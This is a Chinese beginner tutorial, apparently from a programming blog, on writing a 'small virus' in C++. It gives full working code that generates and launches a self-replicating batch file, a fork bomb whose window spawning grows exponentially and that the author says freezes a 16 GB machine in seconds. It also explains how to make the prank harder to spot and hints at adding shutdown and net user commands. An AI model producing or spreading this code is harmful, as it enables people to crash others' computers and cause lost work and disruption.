用C++写一个简单小病毒(零基础奶妈级教学,不可能学完还不懂)

相信大家都玩过这样的一个批处理代码吧

:1
start cmd
goto 1

把这些代码复制去一个txt文件,然后更改后缀为.bat 或.cmd,就可以实现弹窗炸弹

但是,作为一个病毒,这个简单恶搞代码有着致命缺陷

1.可以直接改后缀轻松识破,很难掩藏

2.杀伤力不足,可以手动“关闭全部窗口”轻松杀死

于是,我想了个简单方法来处理这两个问题

1.system函数

知周所众,C++中有一个很方便的函数就做system(),可以调用控制台命令

需要头文件stdlib.h

#include // 其实万能头文件里包含了stdlib.h
#include//但是还是写一遍
using namespace std;
int main(){
    system("   ");
}

2.freopen

文件读写操作,可以用它生成一个out文件

freopen("11.out","w",stdout);

其中11.out是文件名,w的意思是写入,stdout是标准输出流,你cout的东西就会被输出到11.out中

然后再输入代码

cout << "   ";

fclose关闭文件

fclose(stdout);

ren命令改变文件名

system("ren 11.out 11.bat");

然后,重点来了

2.核心

小病毒的核心就是使用C++生成一个bat文件(因为bat文件打开速度贼快,可以高速卡内存)然后里面写一个循环,并且不断自我调用(有点递归的感觉了lol)

cout << ":1\nstart 11.bat\ngoto 1"

(\n:换行)

相比开头的小代码,看上去有点多次一举是吧?

但是,这个内核生成窗口(弹窗轰炸)的速度是指数级增长的,因为它开启的文件会继续打开自己,同时它本身也在不断开启自己

本人实测,16gb的内存条几秒钟就可以卡掉

最后,上完整版代码

#include
using namespace std;
int main(){
	freopen("11.out","w",stdout);
	cout << ":1 \n start 11.bat \n goto 1";
	fclose(stdout);
	system("ren 11.out 11.bat");
	system("start 11.bat");
}

学完这些后,你还可以自自行发挥批处理知识写一写其它的东西,什么shutdown啊netuser啊,这里不作赘述

后来我才知道可以直接文件读写进bat,但是不想改了

你可能感兴趣的:(病毒,恶搞,零基础,c++)